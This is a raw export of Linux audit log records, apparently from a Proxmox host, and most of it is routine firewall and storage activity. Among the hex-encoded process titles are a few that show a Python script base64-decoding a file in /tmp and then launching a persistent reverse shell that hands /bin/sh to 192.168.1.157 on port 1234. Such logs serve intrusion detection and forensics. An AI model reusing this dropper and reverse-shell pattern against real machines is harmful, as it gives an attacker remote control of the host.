cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.997:63074): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425591,"@rawstring":"node=pve type=PATH msg=audit(1781965425.591:65558): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.991:63073): proctitle=\"ip6tables-save\""} {"@timestamp":1781965425591,"@rawstring":"node=pve type=PATH msg=audit(1781965425.591:65558): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.985:63072): proctitle=\"iptables-save\""} {"@timestamp":1781965425587,"@rawstring":"node=pve type=PATH msg=audit(1781965425.587:65557): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.979:63071): proctitle=\"ip6tables-save\""} {"@timestamp":1781965425587,"@rawstring":"node=pve type=PATH msg=audit(1781965425.587:65557): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.973:63070): proctitle=\"iptables-save\""} {"@timestamp":1781965425578,"@rawstring":"node=pve type=PATH msg=audit(1781965425.578:65556): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.970:63069): proctitle=\"ebtables-restore\""} {"@timestamp":1781965425578,"@rawstring":"node=pve type=PATH msg=audit(1781965425.578:65556): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.968:63068): proctitle=\"ebtables-restore\""} {"@timestamp":1781965425571,"@rawstring":"node=pve type=PATH msg=audit(1781965425.571:65555): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.963:63067): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965425571,"@rawstring":"node=pve type=PATH msg=audit(1781965425.571:65555): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.958:63066): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965425567,"@rawstring":"node=pve type=PATH msg=audit(1781965425.567:65554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885953,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.953:63065): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965425567,"@rawstring":"node=pve type=PATH msg=audit(1781965425.567:65554): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.948:63064): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965425557,"@rawstring":"node=pve type=PATH msg=audit(1781965425.557:65553): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.944:63063): proctitle=697073657400726573746F7265"} {"@timestamp":1781965425557,"@rawstring":"node=pve type=PATH msg=audit(1781965425.557:65553): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.938:63062): proctitle=\"ip6tables-save\""} {"@timestamp":1781965425551,"@rawstring":"node=pve type=PATH msg=audit(1781965425.551:65552): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.932:63061): proctitle=\"iptables-save\""} {"@timestamp":1781965425551,"@rawstring":"node=pve type=PATH msg=audit(1781965425.551:65552): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.929:63060): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965425551,"@rawstring":"node=pve type=PATH msg=audit(1781965425.551:65551): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.925:63059): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965425542,"@rawstring":"node=pve type=PATH msg=audit(1781965425.542:65550): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.924:63058): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425542,"@rawstring":"node=pve type=PATH msg=audit(1781965425.542:65550): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.924:63057): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425542,"@rawstring":"node=pve type=PATH msg=audit(1781965425.542:65550): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885920,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.920:63056): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425524,"@rawstring":"node=pve type=PATH msg=audit(1781965425.524:65549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.914:63055): proctitle=\"ip6tables-save\""} {"@timestamp":1781965425524,"@rawstring":"node=pve type=PATH msg=audit(1781965425.524:65549): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885908,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.908:63054): proctitle=\"iptables-save\""} {"@timestamp":1781965425517,"@rawstring":"node=pve type=PATH msg=audit(1781965425.517:65548): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.904:63053): proctitle=69707365740073617665"} {"@timestamp":1781965425517,"@rawstring":"node=pve type=PATH msg=audit(1781965425.517:65548): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.898:63052): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965425512,"@rawstring":"node=pve type=PATH msg=audit(1781965425.512:65547): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964885892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964885.892:63051): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965425512,"@rawstring":"node=pve type=PATH msg=audit(1781965425.512:65547): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964884853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964884.853:63050): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965425504,"@rawstring":"node=pve type=PATH msg=audit(1781965425.504:65546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964884824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964884.824:63049): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965425504,"@rawstring":"node=pve type=PATH msg=audit(1781965425.504:65546): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964883.667:63048): proctitle=\"/bin/sh\""} {"@timestamp":1781965425496,"@rawstring":"node=pve type=PATH msg=audit(1781965425.496:65545): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964883.597:63047): proctitle=6E6F687570002F7573722F62696E2F707974686F6E33002F746D702F746D70376A696A6764316D003139322E3136382E312E3135370031323334002D2D65786563002F62696E2F7368002D2D7265636F6E6E002D2D7265636F6E6E2D776169740031"} {"@timestamp":1781965425496,"@rawstring":"node=pve type=PATH msg=audit(1781965425.496:65545): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883596,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964883.596:63046): proctitle=6E6F687570002F7573722F62696E2F707974686F6E33002F746D702F746D70376A696A6764316D003139322E3136382E312E3135370031323334002D2D65786563002F62696E2F7368002D2D7265636F6E6E002D2D7265636F6E6E2D776169740031"} {"@timestamp":1781965424186,"@rawstring":"node=pve type=PATH msg=audit(1781965424.186:65544): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964883568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964883.568:63045): proctitle=2F7573722F62696E2F707974686F6E33002D6300696D706F7274206261736536343B663D6F70656E28222F746D702F746D707A74776C76783634222C20227222293B6C696E6573203D20662E726561646C696E657328293B7072696E7428286222222E6A6F696E285B6261736536342E6236346465636F6465286C2E656E636F"} {"@timestamp":1781965424186,"@rawstring":"node=pve type=PATH msg=audit(1781965424.186:65544): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964880.999:63044): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965424164,"@rawstring":"node=pve type=PATH msg=audit(1781965424.164:65543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964880.999:63043): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965424164,"@rawstring":"node=pve type=PATH msg=audit(1781965424.164:65543): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964880.999:63042): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=PATH msg=audit(1781965422.949:65542): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964880.981:63041): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=PATH msg=audit(1781965422.949:65542): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964880.981:63040): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=PATH msg=audit(1781965422.949:65541): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964880.981:63039): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=PATH msg=audit(1781965422.949:65540): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964879.990:63038): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=PATH msg=audit(1781965422.941:65539): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964879.989:63037): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=PATH msg=audit(1781965422.941:65539): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964879.987:63036): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=PATH msg=audit(1781965422.941:65538): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964879031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964879.031:63035): proctitle=2F7573722F62696E2F707974686F6E33002D6300696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=PATH msg=audit(1781965422.941:65537): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964878239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964878.239:63034): proctitle=2F7573722F62696E2F707974686F6E33002D6300696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=PATH msg=audit(1781965420.439:65536): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964877444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964877.444:63033): proctitle=2F7573722F62696E2F707974686F6E33002D6300696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=PATH msg=audit(1781965420.439:65536): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964876643,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964876.643:63032): proctitle=2F7573722F62696E2F707974686F6E33002D6300696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=PATH msg=audit(1781965420.439:65535): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.975:63031): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=PATH msg=audit(1781965420.439:65535): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.975:63030): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965420438,"@rawstring":"node=pve type=PATH msg=audit(1781965420.438:65534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.975:63029): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965420438,"@rawstring":"node=pve type=PATH msg=audit(1781965420.438:65534): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.963:63028): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=PATH msg=audit(1781965417.931:65533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.963:63027): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=PATH msg=audit(1781965417.931:65533): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.963:63026): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=PATH msg=audit(1781965417.931:65532): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.881:63025): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=PATH msg=audit(1781965417.931:65531): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.878:63024): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=PATH msg=audit(1781965417.925:65530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.877:63023): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=PATH msg=audit(1781965417.925:65530): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.877:63022): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=PATH msg=audit(1781965417.925:65529): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.873:63021): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=PATH msg=audit(1781965417.925:65528): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.867:63020): proctitle=\"ip6tables-save\""} {"@timestamp":1781965415486,"@rawstring":"node=pve type=PATH msg=audit(1781965415.486:65527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.861:63019): proctitle=\"iptables-save\""} {"@timestamp":1781965415486,"@rawstring":"node=pve type=PATH msg=audit(1781965415.486:65527): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.853:63018): proctitle=\"ip6tables-save\""} {"@timestamp":1781965415481,"@rawstring":"node=pve type=PATH msg=audit(1781965415.481:65526): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.844:63017): proctitle=\"iptables-save\""} {"@timestamp":1781965415481,"@rawstring":"node=pve type=PATH msg=audit(1781965415.481:65526): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.841:63016): proctitle=\"ebtables-restore\""} {"@timestamp":1781965415480,"@rawstring":"node=pve type=PATH msg=audit(1781965415.480:65525): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 